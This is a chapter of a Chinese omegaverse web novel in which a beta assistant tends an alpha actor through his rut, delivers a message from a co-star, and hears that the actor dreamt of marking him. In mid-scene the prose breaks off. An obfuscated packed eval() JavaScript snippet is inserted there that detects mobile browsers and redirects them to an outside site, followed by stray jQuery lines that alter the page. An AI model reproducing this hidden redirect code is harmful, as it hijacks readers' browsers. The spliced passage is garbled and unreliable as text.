12. 三人行

作品:《beta为何会被强行标记

    池水愣住,下意识地抓起自己的领口嗅了嗅,什么都没闻到。


    沈铮已然转过身来,用看傻子一眼的眼神自下而上地凝视他。


    池水尴尬地松开手掌,心想确实是脑子犯糊涂了,他是beta,能闻到的信息素十分有限,而沈铮是alpha,现在又处于易感期,对信息素的气味不能再敏感了。


    他低头看沈铮,明明自己才是站着的那个人,却有种比沈铮矮一截的错觉,他无意识地舔了舔嘴唇,解释说:“可能是方明雨和我说话的时候不小心蹭上的。”


    沈铮面色阴沉,紧盯着他,强忍着情绪,什么意思不言而喻。


    “我不出去。”池水拒绝了他的要求。


    易感期的alpha脆弱,敏感,极富攻击性,有强烈的领地意识,万一没处理好,是会出的意外的。


    池水把抑制剂递过去,看到沈铮神色不虞,狠狠地皱了一下眉,眼神显得很冷冽。


    他坐了起来,隐忍着质问道:“听不懂人话吗?”


    不至于,真的不至于。Omega的信息素难闻不到哪里去的,沈铮借题发挥呢。


    池水和他对视,十分虔诚地发誓试图安抚他:“我以后不和他凑那么近了。”


    “谁知道你说的是真的还是假的。”


    这样的退让也没有得到沈铮的饶恕,沈铮抓了件外套丢过来,对他强硬地说:“穿上。”


    池水老老实实地穿上,再抬头看,沈铮眉头原本能夹死苍蝇的弧度现在只能夹死一只蚊子了。


    陌生的信息素气味被隔绝开,池水乖顺的态度和身上散发出自己的信息素让沈铮好受许多,不再为难虚伪不诚实的池水,拿过他手中的抑制剂,撕掉包装,挤出多余的空气,朝着自己的手臂扎了下去。


    他想起来,沈铮第一次易感期就非常稳定,并没有像很多高阶alpha大脑那样陷入本能想要标记的Omega的情况,之后的每一次易感期也是靠着抑制剂就能安稳度过。


    只有一次意外,只有那一次。


    沈铮完全失去理智,他一进门就被沈铮拖进房间丢进他用满衣柜的衣服堆起来的窝巢,后脖子被沈铮咬得乱七八糟的。


    ……


    第二天沈铮什么都不记得,他事后也试探过几次,沈铮是真的不记得。


    从那时候开始,他对沈铮的易感期就多留了几个心眼。


    谁知道这种情况还会不会再次发生?


    还好他是beta,没有腺体,不会被标记。


    但那样的沈铮着实吓人。


    “发什么愣呢?”池水在发呆,沈铮从推针筒就发现了,这都要推完了,人眼睛还飘忽着呢。


    他一说话,池水就猛然往后退,像是受到什么惊吓,而床边的位置就那么点儿大,他身体后仰着就要倒过去。


    沈铮瞄到墙上用来充当挂钩的铁钉,心一沉,眼疾手快地拉住池水,将人猛地一拽,动作太快,手中的抑制剂针筒被这力道一带,啪地一声甩到墙边,针口飞出血线,溅到被骤然拉过来的池水胸前的布料上。


    “你一惊一乍的做什么?”


    “对不起,”池水看着他流血的伤口,低声道歉。


    “不就叫你一声,你至于吗?”沈铮无法理解池水这样的反应,逼问道:“怕我?”


    然后他就看到池水眼皮发颤着躲开了他的眼神。


    可疑,实在可疑。他下颌绷紧,仍旧盯着池水,“说话。”


    池水面部肌肉不自觉地抽动两下,梗着脖子回答:“……不怕。”


    池水一说谎就表现得很明显,沈铮心头冷笑,丧失所有耐心,把他往外一推,“你给我出去。”


    真讽刺,池水居然真的怕他,就因为他易感期到了。


    难道池水默认了他易感期会对他做什么吗?他又不是什么一进入易感期就会因为控制欲爆发而反复标记自己Omega伴侣的劣质alpha。


    不对,池水不是Omega,也不对,池水不是他的伴侣……


    不愧是易感期,这么不恰当的类比也会出现在他的大脑里,沈铮一边埋怨着池水没良心,一边疲惫地睡去。


    今天发生的一切挖空了他的情绪,尤其是池水。


    *


    池水开始着手画海报,他要画他今天看到的赵勉,灵感像沈铮今天莫名其妙的脾气一样挥洒。


    几个小时后,池水再次抬头,活动了一下自己僵硬的肩颈和手臂,将图层保存好,从小月的书桌边站起来,两个房间都已经没动静了。


    今天情况特殊,池水决定还是再去看一眼沈铮,手绘电影海报是个大工程,他接下来几天都没有时间去片场。


    沈铮说什么让他滚出去这样的话,但其实沈铮根本没锁门,想进入他的房间轻而易举。


    池水蹑手蹑脚地进门,把碘伏、创可贴和营养剂都放到桌上,碘伏是留给他消毒,营养剂是留给沈铮半夜用的,alpha易感期光是保持理智就要耗费大量的体力。


    ……应该没问题。池水转身想走,耳边响起窸窣的摩擦声。


    下一秒。


    “你干什么?”沈铮问。


    “我把你吵醒了吗?”


    “没有,”大概是因为易感期,沈铮声音沙哑无力,戾气全都褪去语气显得茫然,“我做了一个梦。”


    “梦到什么了?”


    沈铮轮廓很模糊,但池水感觉到沈铮朝他看了过来。


    他耐心地等待,又过了好一阵子,才听到沈铮很轻地叹息一声,说:“……没什么,你回去休息吧。”


    “……”


    池水把门关上,今晚没下雨,沈铮究竟是梦到什么才会从梦中惊醒呢?


    *


    接下来几天,池水都没有去片场,从早到晚地画画。


    而沈铮的易感期并不影响拍摄,只是在片场的时候比较沉默。


    不过除去必要的交流,沈铮本来就不怎么爱讲话,只有池水在的时候才会多说几句。


    这让王超极觉得工作变得顺利,小池哥不在自己也能独当一面了,看来转正十分有希望啊。


    王超极跟在沈铮身后,上到二楼时看到沈铮往坐在窗边书桌的池水看了一眼,王超极也跟着看过去。


    池水穿一件灰色的连帽卫衣,戴着帽子,脸和脖颈看不见,背和肩膀微微伏下去,只有素白的手腕伸出来,握着笔在平板屏幕上来回划动,带动着他的手臂和肩膀小幅度地抖动着。


    那只小狗趴在他脚边用旧毛衣卷起来的狗窝睡觉,小月也搬着椅子坐在他旁边看漫画,也不知道能不能看懂。


    画面祥和宁静,池水看起来沉静又专注。


    “要叫小池哥吗?”他这几天也有点小经验了,看出了沈铮的犹豫,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040176|162491||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    主动开口询问。


    “别打扰他,”沈铮收回目光往房间走。


    池水没发觉他们回来,连头都没偏一下。


    王超极微妙地感受道沈铮心情不是很美妙,但也说不上坏,就是……不舒坦。


    他也不知道沈铮不舒坦个啥,这种难题只有池水一个人能解决。


    他干不了。


    池水终于结束了自己的工作,整整五天,他一睁眼就是画,又改动了一些细节,海报终于达到了他想要的效果。


    就是不知道能不能过胡宴良那关。


    没有人敢确保自己的初稿能让甲方满意。


    池水伸了个懒腰,把靠墙睡着的小月抱到楼下,老婆婆早都睡了。


    “池水,池水?你在不在啊?”门外传来不大不小的叫唤声。


    是方明雨的声音。


    池水打开门,方明雨就挤进来,“你这几天怎么都没去片场啊?我可想你了。”


    “我这几天画画呢。”


    方明雨笑了笑,手从背后掏出那几本漫画书塞进他手里,“看完了,还你。”


    池水接过来,大晚上的,方明雨特地跑过来送漫画书?这也太奇怪了。明明让王超极帮忙捎回来就好,又不重。


    “沈铮呢?他睡了吗?”


    图穷匕首见,池水无奈,“睡了,你找他有什么事吗?”


    “当然有事,你帮我给沈铮带句话。”


    “什么话啊?”他才几天没去,不知道方明雨和沈铮之间发生了什么。


    “就说,三个人也行。”


    池水一头雾水,迟疑几秒后点头,什么三个人?行什么?


    方明雨笑得花枝乱颤的,又抓着他说:“一定要带到啊。”


    池水说好。


    方明雨也不停留,脚步轻快地走了。


    池水上楼,看到沈铮的门内透出光线,敲了两下问:“你睡了吗?”


    “进来。”


    池水挪进去,坐在床上的沈铮斜眼睨他,“还不睡?”


    池水嘴角嗫嚅,“我画完了,想让你帮我看看。”


    沈铮放下手中的剧本,接过平板打开,一张极具冲击力的画倒入眼帘——以红色为背景,用黑色来勾勒主体,画面中赵勉占据了差不多一半的位置,头戴湿漉的斗笠,半张脸都藏在阴影下,一只眼睛被手中握紧的剑照亮。


    剑身有一段光亮似雪,有一线血珠滚过,被着重突出的眼睛暗藏微光,下眼睑有一滴水珠,让人难以分辨那是雨还是泪。


    背景是黑影画成大片的竹林,只有一小片背月光照拂的竹叶反射出银光,仔细看竹林间有几道若隐若现的人影,身形高矮不一,是剧本中与赵勉纠葛最深的几人。


    “胡宴良会很满意的。”沈铮把平板给他递回去。


    池水扯着嘴角笑了一下,又说:“对了,方明雨刚刚来还书,让我给你带句话。”


    沈铮忽然抬眼,“什么?”


    “三个人也行,”池水看着沈铮,重复方明雨的话,“他这么……”


    沈铮打断他,“你知道这话什么意思吗你就帮他带话?”


    池水不安地摇摇头,不知道为什么沈铮语气如此讥讽,又听到沈铮话头一转,说:“你之前不是问我梦到了什么吗?”


    “什么?”他下意识地追问。


    “梦到我标记了你。”